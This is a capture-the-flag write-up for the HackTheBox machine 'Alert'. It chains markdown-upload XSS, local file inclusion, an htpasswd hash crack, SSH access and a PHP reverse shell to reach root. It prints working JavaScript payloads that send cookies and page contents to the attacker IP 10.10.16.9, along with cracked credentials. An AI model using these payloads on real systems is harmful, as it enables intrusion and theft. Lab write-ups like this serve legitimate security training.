Metadata
- Platform: HackTheBox
- CTF: Alert
- OS: Linux
- Difficulty: Easy
Summary
The running web server hosts a service, to which we can upload markdown files and share them. This allows us to include JavaScript in our uploads, resulting in XSS. Over the contact page, we can send our upload share link to the administrator, who reliably triggers the payload. By leveraging this vulnerability, we can change our payload to request websites on the server, and send their HTML to us. Since one of the hidden PHP files has a local file inclusion vulnerability, we can read the file system. Using this we detect another website on another virtual host, to which we can extract the credential file. The same credentials can be used for SSH access to the same user.
Besides the two external web pages, there is another web service running locally on the server as root
, which we can forward via SSH. Due to our user being part of a specific group, we can add files to a folder in the web root. By uploading a PHP reverse shell, we get access as the root
user.
Solution
Reconnaissance
By using Nmap, we can discover two ports.
nmap -sC -sV 10.10.11.44 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-14 11:29 CET
Nmap scan report for 10.10.11.44
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since the website already wants to forward us to alert.htb
, let’s add it to /etc/hosts
. The website itself offers the service of displaying uploaded markdown files.
There is also a contact page, where we can submit a message to the page’s administrator.
First, let’s check for any other subdirectories on the page by using Gobuster. We can find the directories uploads
, and messages
, however we can not access anything in them.
gobuster dir -u http://alert.htb -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://alert.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 274]
/.htpasswd (Status: 403) [Size: 274]
/css (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/messages (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/server-status (Status: 403) [Size: 274]
/uploads (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
User Flag
For the file upload, there is a server side filter in place, ensuring that only markdown files can be submitted. After trying a few things, this filter does not seem to be circumventable.
After uploading a markdown file, it is being displayed to us, and it provides a link to the uploaded file, which we can share.
http://alert.htb/visualizer.php?link_share=67af1d84490e89.74849551.md
This link contains the randomized file name of our upload. Since we already found an upload directory with Gobuster, let’s check if we can access this. We can!
http://alert.htb/uploads/67af1d84490e89.74849551.md
In general, Markdown supports HTML, which again supports JS. So as part of this upload form, we can essentially upload JS containing files, which poses as a XSS risks. However, XSS by itself is useless in our case. We also need the server or an admin to trigger our code, meaning we need to continue testing the page.
The About Us
page tells us, that the administrator reviews sent messages. Maybe we can use this to execute links. We can test this by starting an http service with python, and send a link in as part of a message, which points to our Netcat listener. After setting this up, we get a callback almost instantly. It seems, like the administrator clicks every link we pass into the form. If we can combine these two vectors, we can let the admin trigger the XSS.
First let’s create a markdown file, which contains JS. On load, our code will execute and send the user’s cookie to our Netcat listener.
XSS!
<script>fetch('http://10.10.16.9:8000/'+document.cookie) </script>
Now we upload this file, copy the share link into the Contact Us
message field and open our listener.
nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.16.9] 46488
GET / HTTP/1.1
Host: 10.10.16.9:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://alert.htb/
Origin: http://alert.htb
Connection: keep-alive
Priority: u=4
We get a callback, but there is no data. Seemingly, this page does not use cookies, which we could steal. The same goes for any sessions. Instead, let’s try to expand this vulnerability. HackTricks has a description of how we can use JS, in order to let the target connect to any webpage, and send the loaded HTML to us. For this, we can copy the relevant code from the example.
Our access does not allow us to visit the messages
page. But it’s likely that there is one for the administrator to see all sent messages. Let’s try to make that our target.
<script>
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("http://10.10.16.9:8000/" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", "http://alert.htb/index.php?page=messages", true)
xhr.send(null)
</script>
After uploading the file and sending the copy link, we get a connection. As part of the GET
request, we get a long base64 encoded string.
nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.44] 41808
GET /PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImNzcy9zdHlsZS5jc3MiPgogICAgPHRpdGxlPkFsZXJ0IC0gTWFya2Rvd24gVmlld2VyPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxuYXY+CiAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9YWxlcnQiPk1hcmtkb3duIFZpZXdlcjwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1jb250YWN0Ij5Db250YWN0IFVzPC9hPgogICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWFib3V0Ij5BYm91dCBVczwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1kb25hdGUiPkRvbmF0ZTwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1tZXNzYWdlcyI+TWVzc2FnZXM8L2E+ICAgIDwvbmF2PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8aDE+TWVzc2FnZXM8L2gxPjx1bD48bGk+PGEgaHJlZj0nbWVzc2FnZXMucGhwP2ZpbGU9MjAyNC0wMy0xMF8xNS00OC0zNC50eHQnPjIwMjQtMDMtMTBfMTUtNDgtMzQudHh0PC9hPjwvbGk+PC91bD4KICAgIDwvZGl2PgogICAgPGZvb3Rlcj4KICAgICAgICA8cCBzdHlsZT0iY29sb3I6IGJsYWNrOyI+qSAyMDI0IEFsZXJ0LiBBbGwgcmlnaHRzIHJlc2VydmVkLjwvcD4KICAgIDwvZm9vdGVyPgo8L2JvZHk+CjwvaHRtbD4KCg== HTTP/1.1
Host: 10.10.16.9:8000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
If we put the string into Cyberchef, we can obtain the administrator’s view of the site.
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Alert - Markdown Viewer</title>
</head>
<body>
<nav>
<a href="index.php?page=alert">Markdown Viewer</a>
<a href="index.php?page=contact">Contact Us</a>
<a href="index.php?page=about">About Us</a>
<a href="index.php?page=donate">Donate</a>
<a href="index.php?page=messages">Messages</a> </nav>
<div class="container">
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
</div>
<footer>
<p style="color: black;">© 2024 Alert. All rights reserved.</p>
</footer>
</body>
There is one existing message file, which seems to be old. If we try to read the file, we get an empty response. It is likely, that this file is just empty and not of any help to us. However, the link which points to the file is interesting:
http://alert.htb/messages.php?file=2024-03-10_15-48-34.txt
The file messages.php
has a file
parameter. Maybe we read more files, then only the intended ones. If we try to read a file, which we know exists, we can check this.
http://alert.htb/messages.php?file=../index.php
We actually get the response! Now, we have access to the file system. After looking through the web files, there does not seem to be much of use. Also, it seems like absolute paths don’t work, we need to use relative ones.
While we can access files such as /etc/passwd
, this does not help us to gain access to the system.
The only file, that helps our cause is /etc/hosts
. After requesting it we can see an additional subdomain, we have not come across yet: statistics.alert.htb
.
127.0.0.1 localhost
127.0.1.1 alert
127.0.0.1 alert.htb
127.0.0.1 statistics.alert.htb
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
After adding it to our own hosts file, we can access an additional website. However, we are promoted with a login field.
Since we don’t have any credentials, we need to continue enumerating. This is difficult without knowing where we need to look. But since we know, that this server uses Apache for web hosting, we can check the respective config files and hope, that their path was not changed. According to the documentation the default path is /etc/apache2/sites-available/000-default.conf
. After requesting this file, we get an informative response.
<pre><VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
For the newly discovered virtual host, there are credentials linked. Let’s request the .htpasswd
file, as we don’t know any other files path for certain it may contain the password and user we need. The response indeed contains a username and a hash.
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
We can crack it by using Hashcat.
hashcat hash /usr/share/wordlist/rockyou.txt
[...]
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
[...]
Now we can log in as albert:manchesterunited
on the website, which is sadly non-interactive and does not disclose anything of interest. In addition, the same credentials can also be used to log into the server via SSH and claim the user flag.
de9ad5e3f95452bc445b94da0a1faab2
Root Flag
Our compromised account albert
does not have any special permissions. Checking sudo and SUID does not yield results. Still, this account is part of the management
group, which is unusual.
id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
If we check other running processes, we can find something.
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
[...]
root 1003 0.0 0.6 206768 24140 ? Ss 04:17 0:01 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
[...]
The command ps aux
reveals another running web service locally on port 8080, which runs as the root
user. We can forward this service via SSH.
ssh albert@alert.htb -L 5555:localhost:8080
The website itself does not offer much to us. If we dig through the files, all of them are owned by root
, and are therefore not accessible to us. The only exception is the config
folder. The folder is owned by root
, but also by the group management
, which we are a part of.
For us, this means, that we can add any file we want to this directory, next to the existing configuration.php
. We can put a PHP reverse shell in this folder and call it with our browser, resulting in the server executing it as root.
After choosing pentestmonkey/php-reverse-shell as the shell, uploading it and invoking it at http://localhost:5555/config/shell.php
, we get a callback to our Netcat listener as root
.
Now we can finally claim the root flag.
592538c1e5ceab9c5732bd31e6e83156